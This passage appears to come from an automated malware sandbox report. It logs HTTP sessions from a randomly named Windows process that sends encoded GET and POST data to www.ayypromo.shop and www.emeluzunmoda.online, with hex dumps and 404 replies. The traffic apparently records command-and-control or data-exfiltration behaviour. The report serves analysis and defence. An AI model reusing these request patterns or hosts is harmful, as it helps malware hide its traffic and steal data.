Aug 27, 2024 08:00:57.111437082 CEST	10312	OUT	Data Raw: 4e 33 66 50 30 67 76 4a 74 55 62 4b 51 43 74 64 30 61 75 5a 78 49 48 53 4e 78 43 76 34 55 76 69 37 31 70 53 64 6e 4c 72 76 56 74 43 41 54 51 4c 56 39 4d 4c 34 50 44 76 79 6c 73 77 4b 6d 67 4e 6b 2b 6d 7a 51 38 68 47 47 50 4b 68 7a 64 54 78 6c 57 Data Ascii: N3fP0gvJtUbKQCtd0auZxIHSNxCv4Uvi71pSdnLrvVtCATQLV9ML4PDvylswKmgNk+mzQ8hGGPKhzdTxlWi9ObVs0sQJ4Bk/JOyFh0/914YCn79yS2Pbe0K/7xCfRiZ+BCEIiJoY9h9jJB4McrJtydEzxFB1ee0s+tQmujp6xZzXdM1PjzF+3lQ6aYdd9fR1G3SyLdpyL3Yhnowu6zQEk9Gy8vwZ051jbj5zDNAwfcykhCmcN3j
Aug 27, 2024 08:00:57.342683077 CEST	2578	OUT	Data Raw: 64 62 62 41 49 4d 62 2b 55 59 2b 57 48 75 72 4f 32 38 41 75 6e 49 51 50 70 30 72 79 4b 44 68 50 44 76 37 6f 30 78 68 71 55 42 70 2b 4f 5a 55 35 5a 30 76 43 49 46 64 6d 57 6c 76 76 2b 73 6a 61 6e 42 4f 6a 67 57 30 56 43 36 4c 47 6b 36 54 4f 4c 38 Data Ascii: dbbAIMb+UY+WHurO28AunIQPp0ryKDhPDv7o0xhqUBp+OZU5Z0vCIFdmWlvv+sjanBOjgW0VC6LGk6TOL8cZqCNdblX83Ba8fc3Bui0VbGQF+7I2a5TIn2mLwCSkwmooPA/9HZ1GU+aWkFHYEsPV5NCrxQxTBAqdV2lA3+x3vfionr+InkLSYqsAY4wjhf9VrCMIQVP2uipz84SUblCYR0x6ywrqO/oVM3yKFMUDbeqJ7hYjVcm
Aug 27, 2024 08:00:57.342860937 CEST	5156	OUT	Data Raw: 69 69 41 4f 4d 63 4a 2b 68 37 53 48 6c 55 44 66 50 62 6d 39 6e 62 6f 70 77 6a 6b 33 49 48 6b 79 57 4e 30 6e 38 73 4e 5a 72 32 37 50 72 74 5a 6f 66 65 49 48 78 32 41 47 4f 6a 6d 35 45 66 44 78 46 36 6d 76 63 41 34 71 47 71 61 6a 68 76 30 52 42 4d Data Ascii: iiAOMcJ+h7SHlUDfPbm9nbopwjk3IHkyWN0n8sNZr27PrtZofeIHx2AGOjm5EfDxF6mvcA4qGqajhv0RBMj7pSSKokU6EVe8/oslw3MvVlTq70EedH8yUOWpprvFpDdtb/W+jyjSOqrQ9L+HyC+ISYrgqlHYGN+EbZYh5iCQzSdKB0VPQaheJHQX9l8JCnwmLZGCfoZjpxYbA1cCxKBpWcdNx1fnWitbUS90k8eut3S3z+yfHtE
Aug 27, 2024 08:00:57.343019962 CEST	7734	OUT	Data Raw: 49 44 6d 59 61 34 6a 36 63 43 6a 72 71 65 69 4f 63 79 71 5a 35 51 58 71 70 36 6a 4c 5a 66 75 36 62 47 43 55 70 55 6e 78 4e 38 43 78 4f 6e 50 79 51 32 53 56 34 4f 31 68 53 61 6b 46 61 70 6d 34 6e 72 6d 6a 79 6e 53 46 61 55 68 45 6f 63 59 79 6e 57 Data Ascii: IDmYa4j6cCjrqeiOcyqZ5QXqp6jLZfu6bGCUpUnxN8CxOnPyQ2SV4O1hSakFapm4nrmjynSFaUhEocYynWslLVzbvobmo25yX7nOE+2PZYgKUbLEg/U/5sewFh9/D6HjnqCFBzT0NIEZDU6yq2uC5OGTYaflom8eT/VoQz9TheTboNwzLppK3uMimh5pthNSL9yV3dreyXI8qex2PxLr0YBb5KEHsifQcUaLqQo4VGwck22NJcS
Aug 27, 2024 08:00:57.343172073 CEST	10312	OUT	Data Raw: 47 77 69 36 7a 2b 43 74 55 30 6d 69 53 5a 72 33 2b 4f 58 79 38 4b 6c 45 39 6e 56 71 77 48 51 6e 45 54 59 45 68 6c 6d 75 68 77 30 30 30 37 53 43 4c 66 41 56 30 63 2f 64 67 41 33 49 47 53 52 51 64 45 63 47 2f 48 70 61 38 76 39 44 56 57 4e 6a 76 70 Data Ascii: Gwi6z+CtU0miSZr3+OXy8KlE9nVqwHQnETYEhlmuhw0007SCLfAV0c/dgA3IGSRQdEcG/Hpa8v9DVWNjvpYFqKT3iLzWsMB4SDTV+cLgMAnaMLdfyGZ8pGGN7ca1xPqI6LuWJtE5bzu8Cee0F4YZ5jrB/7mCkm3nH/Ds72d6UQnliGTYGjPfp+c2YitjEla/nNzwZyk2kR1RRatbPcpIhFb++IxzDqO4Tcx/5cpv9sG70EC/drC
Aug 27, 2024 08:00:57.573977947 CEST	2578	OUT	Data Raw: 70 72 4a 6f 79 47 45 36 63 62 4a 69 6a 2b 41 45 76 35 56 62 7a 36 53 49 52 72 39 42 79 5a 73 33 30 31 37 36 52 50 73 54 75 67 67 75 52 77 7a 46 35 65 78 39 39 57 6e 4e 35 78 74 59 67 32 2b 32 6b 48 6d 56 77 74 6a 5a 56 4a 67 38 68 2f 35 2f 4c 31 Data Ascii: prJoyGE6cbJij+AEv5Vbz6SIRr9ByZs30176RPsTugguRwzF5ex99WnN5xtYg2+2kHmVwtjZVJg8h/5/L1MT6u/9fvXVHwqu6Mw7Z74n6WhVNAUVrQ6CcZkCZ4LIWKBYw7c0Xp5LjpJWrigfL0dTkp9zT5TUL3zn0gxOR++c9iLsT5i6UrpKD4VAPwQpnTCOXvHMmpESKEEcYVvv2HAiIRLZrXzL8haFytTEdYn5ji3TD9qbCW+
Aug 27, 2024 08:00:57.574140072 CEST	1289	OUT	Data Raw: 2b 69 6b 4b 39 61 77 63 58 30 78 39 36 34 52 44 63 42 30 68 67 2b 6d 6f 46 6d 55 6f 33 62 35 63 6c 38 41 39 71 42 49 6e 45 76 4c 59 50 30 74 59 43 75 65 48 55 56 6b 75 77 61 67 73 65 32 6c 52 59 6e 36 58 69 48 67 59 67 64 34 78 64 6a 34 34 56 48 Data Ascii: +ikK9awcX0x964RDcB0hg+moFmUo3b5cl8A9qBInEvLYP0tYCueHUVkuwagse2lRYn6XiHgYgd4xdj44VHT4t5NWHf9i1DG/YWP+j5iu47iUL0tAPapb4o7dYMDDrr7jH6AzJxXHGVVLijEju1b1USbmUQwiWYbBKhNAjOTcPLDVFmptMGInYNgpN6In//aXXbxt4GO6QWBlt4BLG0LuZmBIdF+Ao+LDGYzngRaHcwLzBVSbiz6
Aug 27, 2024 08:00:57.574286938 CEST	11034	OUT	Data Raw: 55 70 4b 75 4c 30 48 59 64 64 46 65 30 43 4b 65 6c 43 6f 43 78 34 56 65 6a 4b 35 5a 79 68 46 59 35 6d 67 32 32 46 63 47 69 6f 37 7a 71 55 71 57 31 45 37 66 5a 33 4e 59 36 42 49 75 39 67 31 77 4b 56 4f 68 45 49 37 4c 55 62 35 54 75 75 31 7a 71 32 Data Ascii: UpKuL0HYddFe0CKelCoCx4VejK5ZyhFY5mg22FcGio7zqUqW1E7fZ3NY6BIu9g1wKVOhEI7LUb5Tuu1zq2i9Fr1jOl8Hct5tp2s5sstoLMfXtkyE0E2AOutBRBp24JOjbDz0BlzSTiI01m2fCG/P5fFGrR7FwVL0YDAwlrRumU5mwiR1UJVoHujuwoNgRUekP/J4ULz0PV3OKYoPYlCqHctGUzdIew/z7BmNJAcadL7yMQ4cxwT
Aug 27, 2024 08:00:57.807780027 CEST	225	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.1 Date: Tue, 27 Aug 2024 06:00:57 GMT Content-Length: 0 Connection: close X-Rate-Limit-Limit: 5s X-Rate-Limit-Remaining: 19 X-Rate-Limit-Reset: 2024-08-27T06:01:02.6986999Z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.11.20	49885	85.159.66.93	80	7116	C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:00:59.880530119 CEST	553	OUT	GET /c0kl/?wXB=brv4Erb&ij60MtY=AxZR1MxN1yP04/KkfJjqNmRSK4d8g2rgChYpgYbN8LwS/ds0321h0MeEKpKCay63h/JFzZR/nOfV69IulQUTnqrvqwrwGbRyvD357dhiEinhnUxdss5AyLg= HTTP/1.1 Host: www.emeluzunmoda.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number>
Aug 27, 2024 08:01:00.113989115 CEST	225	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.1 Date: Tue, 27 Aug 2024 06:01:00 GMT Content-Length: 0 Connection: close X-Rate-Limit-Limit: 5s X-Rate-Limit-Remaining: 19 X-Rate-Limit-Reset: 2024-08-27T06:01:05.0052375Z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.11.20	49886	176.57.64.102	80	7116	C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:01:05.485650063 CEST	817	OUT	POST /mktg/ HTTP/1.1 Host: www.ayypromo.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.ayypromo.shop Cache-Control: no-cache Connection: close Content-Length: 204 Content-Type: application/x-www-form-urlencoded Referer: http://www.ayypromo.shop/mktg/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 35 52 79 46 73 36 2f 65 6a 6a 55 6f 55 6e 49 75 64 63 39 47 61 69 6e 74 34 46 70 67 67 4a 59 6e 64 34 4d 76 59 49 54 37 78 63 72 63 66 6e 55 69 41 43 68 51 46 49 35 49 61 58 73 38 53 6d 61 42 6f 43 51 78 51 2b 68 51 31 45 59 62 62 53 42 4b 41 48 4b 48 54 34 6b 54 67 63 53 46 67 31 44 2f 74 45 6e 4a 43 37 4e 72 66 4b 33 6c 6b 70 58 4d 68 30 30 50 38 4b 78 33 64 42 4c 63 72 55 2b 46 64 44 54 43 46 69 39 6c 48 78 38 48 4f 72 63 6a 4c 35 6f 36 58 32 72 33 53 57 61 79 4f 6b 43 2f 62 34 38 4b 76 61 68 6e 73 41 41 70 64 46 37 72 37 2f 69 36 69 4f 66 43 54 6a 7a 56 49 73 39 35 7a 67 3d 3d Data Ascii: ij60MtY=5RyFs6/ejjUoUnIudc9Gaint4FpggJYnd4MvYIT7xcrcfnUiAChQFI5IaXs8SmaBoCQxQ+hQ1EYbbSBKAHKHT4kTgcSFg1D/tEnJC7NrfK3lkpXMh00P8Kx3dBLcrU+FdDTCFi9lHx8HOrcjL5o6X2r3SWayOkC/b48KvahnsAApdF7r7/i6iOfCTjzVIs95zg==
Aug 27, 2024 08:01:05.754682064 CEST	749	IN	HTTP/1.1 404 Not Found Server: ddos-guard Connection: close Set-Cookie: __ddg1_=265J2Y2ZbcJAwSS7AN9S; Domain=.ayypromo.shop; HttpOnly; Path=/; Expires=Wed, 27-Aug-2025 06:01:05 GMT Date: Tue, 27 Aug 2024 06:01:05 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 340 Last-Modified: Tue, 29 May 2018 17:41:27 GMT ETag: "154-56d5bbe607fc0" Accept-Ranges: bytes X-Frame-Options: SAMEORIGIN Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 22 3e 3c 74 69 74 6c 65 3e 54 69 6c 64 61 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 65 65 3b 22 3e 3c 74 61 62 6c 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 31 30 30 25 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 22 3e 3c 74 72 3e 3c 74 64 20 73 74 79 6c 65 3d 22 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 6d 69 64 64 6c 65 3b 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 69 6c 64 61 2e 63 63 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 2f 74 69 6c 64 61 2e 77 73 2f 69 6d 67 2f 6c 6f 67 6f 34 30 34 2e 70 6e 67 22 20 62 6f 72 64 65 72 3d 22 30 22 20 61 6c 74 3d 22 54 69 6c 64 61 22 20 2f 3e 3c 2f 61 3e 3c 2f 74 64 3e 3c 2f 74 72 3e 3c 2f 74 61 62 6c 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <html><head><meta name="robots" content="noindex"><title>Tilda</title></head><body style="background-color:#eee;"><table style="width:100%; height:100%;"><tr><td style="vertical-align: middle; text-align: center;"><a href="https://tilda.cc"><img src="//tilda.ws/img/logo404.png" border="0" alt="Tilda" /></a></td></tr></table></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.11.20	49887	176.57.64.102	80	7116	C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:01:08.145081997 CEST	1157	OUT	POST /mktg/ HTTP/1.1 Host: www.ayypromo.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.ayypromo.shop Cache-Control: no-cache Connection: close Content-Length: 544 Content-Type: application/x-www-form-urlencoded Referer: http://www.ayypromo.shop/mktg/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 35 52 79 46 73 36 2f 65 6a 6a 55 6f 53 45 51 75 62 50 6c 47 62 43 6e 69 33 6c 70 67 37 35 59 6a 64 34 41 76 59 4d 6a 72 78 50 66 63 66 47 6b 69 42 47 56 51 45 49 35 49 56 33 73 35 4e 32 61 4f 6f 43 64 4f 51 2f 4e 51 31 45 63 62 55 42 5a 4b 48 33 4b 49 48 6f 6b 55 68 63 53 45 33 46 44 70 74 45 6a 37 43 36 4a 72 66 2b 48 6c 6c 72 50 4d 72 46 30 41 78 4b 78 78 4d 52 4c 62 69 30 2b 58 64 44 76 67 46 6e 77 65 45 41 34 48 4f 4b 38 6a 4b 35 6f 35 5a 47 72 77 4f 6d 62 6c 4e 31 6e 30 56 72 38 43 6e 49 4a 30 67 7a 5a 52 63 55 50 4a 39 4a 4b 4b 38 4d 2b 35 55 68 4b 71 47 4e 5a 70 73 37 41 44 54 46 6c 6d 49 6c 45 46 2b 6b 49 78 73 6b 6f 6a 43 2f 5a 75 64 36 41 52 44 63 4d 63 48 6d 34 73 6e 48 69 61 71 73 72 68 6b 78 63 74 31 61 67 66 5a 62 64 75 78 4f 41 4a 44 2b 5a 5a 79 75 4d 36 4d 42 47 78 58 52 44 79 33 6e 56 4d 73 78 43 72 65 44 38 78 55 6d 70 46 62 67 61 4c 44 53 6f 72 52 33 37 4e 7a 66 67 42 75 42 55 41 56 4e 48 46 51 48 36 4c 4e 4f 32 2b 4e 54 57 71 64 4c 66 53 45 70 4d 57 4a 55 [TRUNCATED] Data Ascii: ij60MtY=5RyFs6/ejjUoSEQubPlGbCni3lpg75Yjd4AvYMjrxPfcfGkiBGVQEI5IV3s5N2aOoCdOQ/NQ1EcbUBZKH3KIHokUhcSE3FDptEj7C6Jrf+HllrPMrF0AxKxxMRLbi0+XdDvgFnweEA4HOK8jK5o5ZGrwOmblN1n0Vr8CnIJ0gzZRcUPJ9JKK8M+5UhKqGNZps7ADTFlmIlEF+kIxskojC/Zud6ARDcMcHm4snHiaqsrhkxct1agfZbduxOAJD+ZZyuM6MBGxXRDy3nVMsxCreD8xUmpFbgaLDSorR37NzfgBuBUAVNHFQH6LNO2+NTWqdLfSEpMWJURcbiUM/GMGHl3Z+Wf3fGExixfwQ7uf1MNbqyMQlhn2cWoj1EVma1UOwYoGUQmynGtvXekUAME6BxUaKt+6RDfdYAR+OTlPwqHdOg9ouzx0FjYEhExTF1ww7NcFitVmlRkTJZpm354Cfsktq89oHWCZgG2a4+hQBXuxPU/3uNmeSnpdfl9NWPOf9j4xyYDVT7go2E7XZ4efM94=
Aug 27, 2024 08:01:08.416161060 CEST	749	IN	HTTP/1.1 404 Not Found Server: ddos-guard Connection: close Set-Cookie: __ddg1_=zeOHFGGvHLrata6NIjUS; Domain=.ayypromo.shop; HttpOnly; Path=/; Expires=Wed, 27-Aug-2025 06:01:08 GMT Date: Tue, 27 Aug 2024 06:01:08 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 340 Last-Modified: Tue, 29 May 2018 17:41:27 GMT ETag: "154-56d5bbe607fc0" Accept-Ranges: bytes X-Frame-Options: SAMEORIGIN Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 22 3e 3c 74 69 74 6c 65 3e 54 69 6c 64 61 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 65 65 3b 22 3e 3c 74 61 62 6c 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 31 30 30 25 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 22 3e 3c 74 72 3e 3c 74 64 20 73 74 79 6c 65 3d 22 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 6d 69 64 64 6c 65 3b 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 69 6c 64 61 2e 63 63 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 2f 74 69 6c 64 61 2e 77 73 2f 69 6d 67 2f 6c 6f 67 6f 34 30 34 2e 70 6e 67 22 20 62 6f 72 64 65 72 3d 22 30 22 20 61 6c 74 3d 22 54 69 6c 64 61 22 20 2f 3e 3c 2f 61 3e 3c 2f 74 64 3e 3c 2f 74 72 3e 3c 2f 74 61 62 6c 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <html><head><meta name="robots" content="noindex"><title>Tilda</title></head><body style="background-color:#eee;"><table style="width:100%; height:100%;"><tr><td style="vertical-align: middle; text-align: center;"><a href="https://tilda.cc"><img src="//tilda.ws/img/logo404.png" border="0" alt="Tilda" /></a></td></tr></table></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.11.20	49888	176.57.64.102	80	7116	C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:01:10.802206993 CEST	2578	OUT	POST /mktg/ HTTP/1.1 Host: www.ayypromo.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.ayypromo.shop Cache-Control: no-cache Connection: close Content-Length: 52932 Content-Type: application/x-www-form-urlencoded Referer: http://www.ayypromo.shop/mktg/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 35 52 79 46 73 36 2f 65 6a 6a 55 6f 53 45 51 75 62 50 6c 47 62 43 6e 69 33 6c 70 67 37 35 59 6a 64 34 41 76 59 4d 6a 72 78 4f 6e 63 65 30 73 69 41 68 4a 51 48 49 35 49 63 58 73 34 4e 32 61 70 6f 43 56 43 51 2f 78 71 31 43 41 62 61 7a 78 4b 47 46 53 49 58 34 6b 56 34 73 53 47 67 31 44 62 74 45 6e 76 43 36 4e 52 66 4c 54 6c 6b 72 66 4d 68 57 73 50 7a 61 78 33 4d 52 4c 48 30 45 2f 67 64 44 72 77 46 6e 30 65 45 43 38 48 4e 59 55 6a 47 4f 55 35 51 32 72 7a 46 47 62 36 48 56 6e 52 56 72 70 37 6e 49 4a 4f 67 77 56 52 63 53 44 4a 38 4f 65 4a 2f 73 2b 35 4b 52 4b 70 43 4e 46 79 73 37 63 68 54 47 35 6d 49 6c 73 46 2f 45 49 78 6f 42 63 38 56 76 59 6c 4d 4b 41 4b 4f 38 42 77 48 6d 74 64 6e 44 36 61 71 63 76 68 6d 47 6f 74 7a 2b 38 66 48 4c 64 73 31 4f 41 67 61 75 5a 2f 79 75 64 52 4d 46 32 68 58 54 50 79 31 47 31 4d 70 51 43 6f 49 7a 39 34 61 47 70 55 66 67 47 50 44 52 51 33 52 33 36 56 7a 62 34 42 75 77 45 41 55 4d 48 45 64 33 36 4d 41 75 32 72 57 47 4f 61 64 4c 44 4b 45 6f 31 62 4a 58 [TRUNCATED] Data Ascii: ij60MtY=5RyFs6/ejjUoSEQubPlGbCni3lpg75Yjd4AvYMjrxOnce0siAhJQHI5IcXs4N2apoCVCQ/xq1CAbazxKGFSIX4kV4sSGg1DbtEnvC6NRfLTlkrfMhWsPzax3MRLH0E/gdDrwFn0eEC8HNYUjGOU5Q2rzFGb6HVnRVrp7nIJOgwVRcSDJ8OeJ/s+5KRKpCNFys7chTG5mIlsF/EIxoBc8VvYlMKAKO8BwHmtdnD6aqcvhmGotz+8fHLds1OAgauZ/yudRMF2hXTPy1G1MpQCoIz94aGpUfgGPDRQ3R36Vzb4BuwEAUMHEd36MAu2rWGOadLDKEo1bJX9cBCUMqR4BNV3Dx2erbGEmixTCQ66l0/Jb4RkQyBnxXWon7kVge1UOwYViUQqynTBvFZgUWPc6MRUcKt+rRDStYApcOTUYwv3dN05otwpzVjYBlEx6LV9q7JEdispcmmcTKZ5mhJ4NZMkut88zRm/agFSK4/UXBUuxNCSY8sCJBWMUdWN7RdmL9DsUybn4NPgOwiudLKOaR63VeHEwjhT6qJuG4ysNm+N1H4Qf4RBXaPQ2hbASg6rug5KefxHr3BU95eHwmx3MNtbUYNk5ofzGdWj96BGQHT4uLTMCj2V/H21k7RpGuDcQSRRM7e1eoxtWiAQ4lKJq1RUPHzRZxCSUZ4si5B+1jY0nHOQ8iW+EwUcO4xYIQD+sUF0frelyRK1qvo7WfoUGHwTcgXTY7DYcS+74/C+TXKIaWeFvgu6kB8WEOF44NCMc4KI0qE9RJ9uGb8QTVBJXWcX3EYXQXXcj8WiT+NpeOrgsBgvN00M+2Ly4+FGwPzXPeKkbaHasUnv5fbEt1IeWRdBN9oaF89J+3G8Sgw6/yVfexJVldahqNBrDU5+PaFokLK3KX5MNGIXjbrreheH7HvZvQ4ftEn0Hh1lumVpSWXiuM+1FrURoaw4hxOza9l0APG09HCfWp+/7rIBBJqwftWQK3l4c87+gcJnX7pW39mhc [TRUNCATED]
Aug 27, 2024 08:01:10.802246094 CEST	3867	OUT	Data Raw: 66 6a 72 45 59 58 4d 65 36 4b 76 65 35 66 58 72 74 67 33 78 74 74 76 37 69 58 6a 73 57 4a 38 32 36 45 35 4d 59 46 47 52 5a 6d 6d 69 55 37 6e 69 48 6e 43 50 75 59 62 6e 63 70 72 6b 34 4e 56 67 32 48 59 30 53 54 53 6f 46 42 49 69 38 48 2b 70 37 37 Data Ascii: fjrEYXMe6Kve5fXrtg3xttv7iXjsWJ826E5MYFGRZmmiU7niHnCPuYbncprk4NVg2HY0STSoFBIi8H+p77BN+vxUS2on2MT/ZC4NuTxqRvMYVKFsKgMEvZjNuM9z81wybc1HWpuLZaXiYjaXjfJMkpSqxKAskOBo6TVNy0U1f9IFXqBVSOT5cJnU1Xgitz7n4md25Nyjt1wP/nXAqUbEI+8HKU1uxjzO8WVubR0w7otChpwTrU/
Aug 27, 2024 08:01:10.802320004 CEST	6445	OUT	Data Raw: 57 41 31 4b 30 66 65 37 42 6c 79 32 76 7a 63 5a 76 48 45 54 43 65 73 5a 45 2b 70 2b 50 44 33 74 4f 76 38 73 70 63 68 4c 56 66 47 47 6b 66 52 71 52 59 61 2b 64 7a 77 33 6e 4e 66 34 71 6f 43 79 50 44 6a 63 55 48 4a 50 66 46 32 6e 45 4c 41 62 37 55 Data Ascii: WA1K0fe7Bly2vzcZvHETCesZE+p+PD3tOv8spchLVfGGkfRqRYa+dzw3nNf4qoCyPDjcUHJPfF2nELAb7URf2zYvsIiYr89lfHbXOirViaTDppk+3J6ZmS2fLdn/CABm/xR8wFfhsOw4Tqk/tALq19Xg0bm/g9ziLxyiYmToBWAdrYFuUZfGshlQYnNKAdBoUqR33ehXA3GPpev4LTvNQ05sPZWzGjLqj31yy3xuYFxr9hO32b9
Aug 27, 2024 08:01:10.930778980 CEST	2578	OUT	Data Raw: 4e 38 65 4e 6a 35 30 77 4c 6f 38 4e 78 56 79 67 36 72 70 72 6a 44 76 7a 31 6f 72 77 53 77 34 41 34 38 63 35 76 6b 46 46 47 65 73 4d 42 75 59 6c 62 42 4b 6f 70 70 62 56 30 75 68 46 4d 51 73 75 68 58 61 76 4c 76 33 67 38 75 32 48 54 4c 45 4c 2f 61 Data Ascii: N8eNj50wLo8NxVyg6rprjDvz1orwSw4A48c5vkFFGesMBuYlbBKoppbV0uhFMQsuhXavLv3g8u2HTLEL/aTOv8mx2mfAythyfDYZcWTSUQZ7ufcbc0e1Iu5uzf7mjTOCkVtZfHwFXhvVxDbMvOLfNqb2TksNQH9k4oi08jQXpKTjYYcPxmgLCTYW1MxQ/pDOojCyvPDTa+C2wHhYTgK94IlWw8TwOGnaHmmoKlR+W9oTv+Z3OJW
Aug 27, 2024 08:01:10.930951118 CEST	19335	OUT	Data Raw: 72 58 36 54 35 7a 45 78 70 63 79 52 2b 50 4c 35 4b 50 2b 2f 7a 57 4c 36 49 70 57 6a 65 30 47 6b 56 6a 57 44 44 45 52 55 75 62 7a 75 39 4a 48 6b 4d 31 4c 76 34 45 6a 6e 2b 2b 63 47 57 2b 32 34 54 64 31 61 4e 75 39 6b 59 36 2b 50 4c 62 53 72 51 67 Data Ascii: rX6T5zExpcyR+PL5KP+/zWL6IpWje0GkVjWDDERUubzu9JHkM1Lv4Ejn++cGW+24Td1aNu9kY6+PLbSrQgBqf7HAMhICl27qk6cwYbH1S9tFwHHCWyiuJ/veeqDm0W5dhBpAr48JF6PW5FEzsjYjs89UgCmLDZQdVzxsGhQRIf9CzHNcXDOokqfrfoaIUJdhSsLRhuU4UTPDtSsdpfExMEFaEisObKV1rIiEuvkvJ+3f58eHn5x
Aug 27, 2024 08:01:10.931112051 CEST	1289	OUT	Data Raw: 37 49 50 77 66 69 43 56 50 75 75 4e 30 45 33 58 76 59 6e 4a 41 55 41 42 4c 58 74 5a 6c 61 41 56 79 50 71 79 4e 4e 70 71 62 79 47 7a 31 42 71 4d 30 4b 41 45 67 6a 44 6a 75 43 45 63 47 5a 55 6b 41 73 38 4b 32 6b 51 70 30 72 4b 54 77 4c 78 4f 79 76 Data Ascii: 7IPwfiCVPuuN0E3XvYnJAUABLXtZlaAVyPqyNNpqbyGz1BqM0KAEgjDjuCEcGZUkAs8K2kQp0rKTwLxOyvKjE0/8UySyCxML6UTGVdzOHebTxjERwSVc5K6GM2t0LIr2V/C/U24fVTzr7JgQOv7XjudhitRFCGEioUs24wQ2OIx7iNf4esu2Ya9v1wDICLRBvn/s1ObUqrqm7c65Ptx6cx47WteE1Emaupk+JZ/c1GgJGJ2VNq+
